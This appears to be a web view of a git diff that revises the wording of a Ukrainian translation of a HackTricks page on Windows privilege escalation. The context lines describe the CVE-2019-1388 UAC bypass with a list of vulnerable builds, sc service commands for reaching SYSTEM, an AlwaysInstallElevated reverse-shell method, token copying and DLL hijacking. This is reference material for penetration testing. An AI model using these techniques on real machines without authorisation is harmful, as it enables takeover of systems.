## Від низького привілейованого користувача до NT\AUTHORITY SYSTEM (CVE-2019-1388) / Обхід UAC
|
||||
|
||||
Якщо у вас є доступ до графічного інтерфейсу (через консоль або RDP) і UAC увімкнено, в деяких версіях Microsoft Windows можливо запустити термінал або будь-який інший процес, такий як "NT\AUTHORITY SYSTEM", з непривабливого користувача.
|
||||
|
||||
|
@ -1289,7 +1293,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM **
|
|||
Windows 10 1703 15063 link NOT opened
|
||||
Windows 10 1709 16299 link NOT opened
|
||||
```
|
||||
Щоб експлуатувати цю вразливість, необхідно виконати наступні кроки:
|
||||
Щоб використати цю вразливість, необхідно виконати наступні кроки:
|
||||
```
|
||||
1) Right click on the HHUPD.EXE file and run it as Administrator.
|
||||
|
||||
|
@ -1311,7 +1315,7 @@ Windows 10 1709 16299 link NOT opened
|
|||
|
||||
https://github.com/jas502n/CVE-2019-1388
|
||||
|
||||
## Від середнього до високого рівня цілісності адміністратора / обхід UAC
|
||||
## Від середнього до високого рівня цілісності / Обхід UAC
|
||||
|
||||
Прочитайте це, щоб **дізнатися про рівні цілісності**:
|
||||
|
||||
|
@ -1327,25 +1331,25 @@ https://github.com/jas502n/CVE-2019-1388
|
|||
|
||||
## **Від високого рівня цілісності до системи**
|
||||
|
||||
### **Новий сервіс**
|
||||
### **Нова служба**
|
||||
|
||||
Якщо ви вже працюєте на процесі з високим рівнем цілісності, **перехід до SYSTEM** може бути простим, просто **створивши та виконуючи новий сервіс**:
|
||||
Якщо ви вже працюєте на процесі з високим рівнем цілісності, **перехід до SYSTEM** може бути простим, просто **створивши та виконуючи нову службу**:
|
||||
```
|
||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||||
sc start newservicename
|
||||
```
|
||||
### AlwaysInstallElevated
|
||||
|
||||
З процесу з високою цілісністю ви можете спробувати **увімкнути записи реєстру AlwaysInstallElevated** та **встановити** зворотний шелл, використовуючи _**.msi**_ обгортку.\
|
||||
З процесу високої цілісності ви можете спробувати **увімкнути записи реєстру AlwaysInstallElevated** та **встановити** зворотний шелл, використовуючи _**.msi**_ обгортку.\
|
||||
[Більше інформації про залучені ключі реєстру та як встановити _.msi_ пакет тут.](./#alwaysinstallelevated)
|
||||
|
||||
### High + SeImpersonate привілей до System
|
||||
|
||||
**Ви можете** [**знайти код тут**](seimpersonate-from-high-to-system.md)**.**
|
||||
|
||||
### Від SeDebug + SeImpersonate до повних привілеїв токена
|
||||
### Від SeDebug + SeImpersonate до повних привілей токена
|
||||
|
||||
Якщо у вас є ці привілеї токена (ймовірно, ви знайдете це в уже існуючому процесі з високою цілісністю), ви зможете **відкрити майже будь-який процес** (не захищені процеси) з привілеєм SeDebug, **скопіювати токен** процесу та створити **процес з цим токеном**.\
|
||||
Якщо у вас є ці привілеї токена (ймовірно, ви знайдете це в уже існуючому процесі високої цілісності), ви зможете **відкрити майже будь-який процес** (не захищені процеси) з привілеєм SeDebug, **скопіювати токен** процесу та створити **процес з цим токеном**.\
|
||||
Використовуючи цю техніку, зазвичай **вибирається будь-який процес, що працює як SYSTEM з усіма привілеями токена** (_так, ви можете знайти процеси SYSTEM без усіх привілеїв токена_).\
|
||||
**Ви можете знайти** [**приклад коду, що виконує запропоновану техніку тут**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||||
|
||||
|
@ -1357,14 +1361,14 @@ sc start newservicename
|
|||
|
||||
### Dll Hijacking
|
||||
|
||||
Якщо вам вдасться **викрасти dll**, що **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконувати довільний код з цими дозволами. Тому Dll Hijacking також корисний для цього виду ескалації привілеїв, і, більше того, якщо набагато **легше досягти з процесу з високою цілісністю**, оскільки він матиме **права на запис** у папки, що використовуються для завантаження dll.\
|
||||
Якщо вам вдасться **викрасти dll**, що **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконувати довільний код з цими дозволами. Тому Dll Hijacking також корисний для цього виду ескалації привілеїв, і, більше того, якщо набагато **легше досягти з процесу високої цілісності**, оскільки він матиме **права на запис** у папки, що використовуються для завантаження dll.\
|
||||
**Ви можете** [**дізнатися більше про Dll hijacking тут**](dll-hijacking/)**.**
|
||||
|
||||
### **Від Administrator або Network Service до System**
|
||||
|
||||
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
|
||||
|
||||
### Від LOCAL SERVICE або NETWORK SERVICE до повних привілеїв
|
||||
### Від LOCAL SERVICE або NETWORK SERVICE до повних привілей
|
||||
|
||||
**Читати:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
|
||||
|
||||
|
@ -1439,11 +1443,11 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue